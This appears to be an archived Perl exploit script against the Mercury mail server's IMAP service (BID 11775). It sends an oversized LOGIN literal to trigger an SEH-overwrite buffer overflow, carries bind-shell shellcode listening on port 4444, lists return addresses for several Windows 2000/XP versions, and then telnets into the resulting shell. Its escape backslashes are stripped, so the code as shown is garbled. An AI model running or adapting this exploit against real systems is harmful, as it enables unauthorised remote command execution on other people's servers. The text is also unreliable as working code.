#!/usr/bin/perl
# 
# http://www.securityfocus.com/bid/11775
# credit to Muts for this vulnerability
# acaro [at] jervus.it


use IO::Socket::INET;
use Switch;

if (@ARGV < 3) {
print "--------------------------------------------------------------------n";
print "Usage : mercury-4444-multi.pl -hTargetIPAddress -oAssemblyinstructionsn";
print " Return address: n";
print " 1 - Windows 2k Sp4 English Versionn";
print " 2 - Windows 2k Sp4 Italian Versionn";
print " 3 - Windows XP Sp1 English Versionn";
print " 4 - Windows XP Sp0 English Versionn";
print " If values not specified, Windows 2k Sp4 will be used.n";
print " Example : ./mercury-4444-multi.pl -h127.0.0.1 -o1 -o1n";
print "--------------------------------------------------------------------n";
}

use IO::Socket::INET;

my $host = 10.0.0.2;
my $port = 143;
my $reply;
my $request;
my $jmp="xe9x02xffxffxff";

my $nextseh = "x90x90xebx09";



#A binary translation of NGS Writing Small Shellcode by Dafydd Stuttard with only two little differences
#1)bind port, in this exploit is 4444 in the original shellcode was 6666
#2)4 bytes added to the shellcode in order not to see the window of cmd.exe on remote host
my $shellcode = 
"x59x81xc9xd3x62x30x20x41x43x4dx64".
"x64x99x96x8Dx7ExE8x64x8Bx5Ax30x8Bx4Bx0Cx8Bx49x1C".
"x8Bx09x8Bx69x08xB6x03x2BxE2x66xBAx33x32x52x68x77".
"x73x32x5Fx54xACx3CxD3x75x06x95xFFx57xF4x95x57x60".
"x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59x20x03xDDx33xFF".
"x47x8Bx34xBBx03xF5x99xACx34x71x2AxD0x3Cx71x75xF7".
"x3Ax54x24x1Cx75xEAx8Bx59x24x03xDDx66x8Bx3Cx7Bx8B".
"x59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3BxF7x75xB4".
"x5Ex54x6Ax02xADxFFxD0x88x46x13x8Dx48x30x8BxFCxF3".
"xABx40x50x40x50xADxFFxD0x95xB8x02xFFx11x5cx32xE4".
"x50x54x55xADxFFxD0x85xC0x74xF8xFEx44x24x2DxFEx44".
"x24x2cx83xEFx6CxABxABxABx58x54x54x50x50x50x54x50".
"x50x56x50xFFx56xE4xFFx56xE8";






foreach (@ARGV) {
$host = $1 if ($_=~/-h((.*).(.*).(.*).(.*))/);
$seh = $1 if ($_=~/-o(.*)/);
$happy = $1 if ($_=~/-o(.*)/);
}

switch ($seh) {
case 1 { $seh="x43x8fx2dx7c" } # Win2k SP4 English version jmp ebx in advapi32.dll
case 2 { $seh="x43x8fx26x79" } # Win2k SP4 Italian version jmp ebx in advapi32.dll
case 3 { $seh="xc0x5fx3cx76" } # WinXP Pro English SP1 version pop ecx pop ecx ret in comdlg32.dll
case 4 { $seh="xfcx61x3cx76" } # WinXP Pro English SP0 version pop ecx pop ecx ret in comdlg32.dll
}


switch ($happy) {
case 1 { $happy="x8dx83x34xffxffxffx50xc3" } # Win2k SP4 English version
case 2 { $happy="x8dx83x34xffxffxffx50xc3" } # Win2k SP4 Italian version
case 3 { $happy="x8bxc1x66x05x34x29x50xc3" } # WinXP Pro English SP1 version
case 4 { $happy="x8bxc1x66x05x34x29x50xc3" } # WinXP Pro English SP0 version
}

my $request ="1 LOGIN".(" "x948)."{255}n";



my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
$socket or die "Cannot connect to host!n";

recv($socket, $reply, 1024, 0);
print "Response:" . $reply;

send $socket, $request, 0;
print "[+] Sent 1st requestn";
recv($socket, $reply, 1024, 0);
print "Response:" . $reply;
sleep(1);



my $request ="x41" x 255;

send $socket, $request, 0;
print "[+] Sent 2nd requestn";
sleep(1);

my $request=("x45" x7420).("x90" x10).$happy.("x90" x14).$shellcode.("x41" x8).$nextseh.$seh.("x90" x5).$jmp.("x90" x533);

send $socket, $request, 0;
print "[+] Sent final requestn";
sleep(1);

close($socket);

print " + connect on port 4444 of $host ...n";
sleep(3);
system("telnet $host 4444");
exit;

# www.Syue.com [2007-03-24]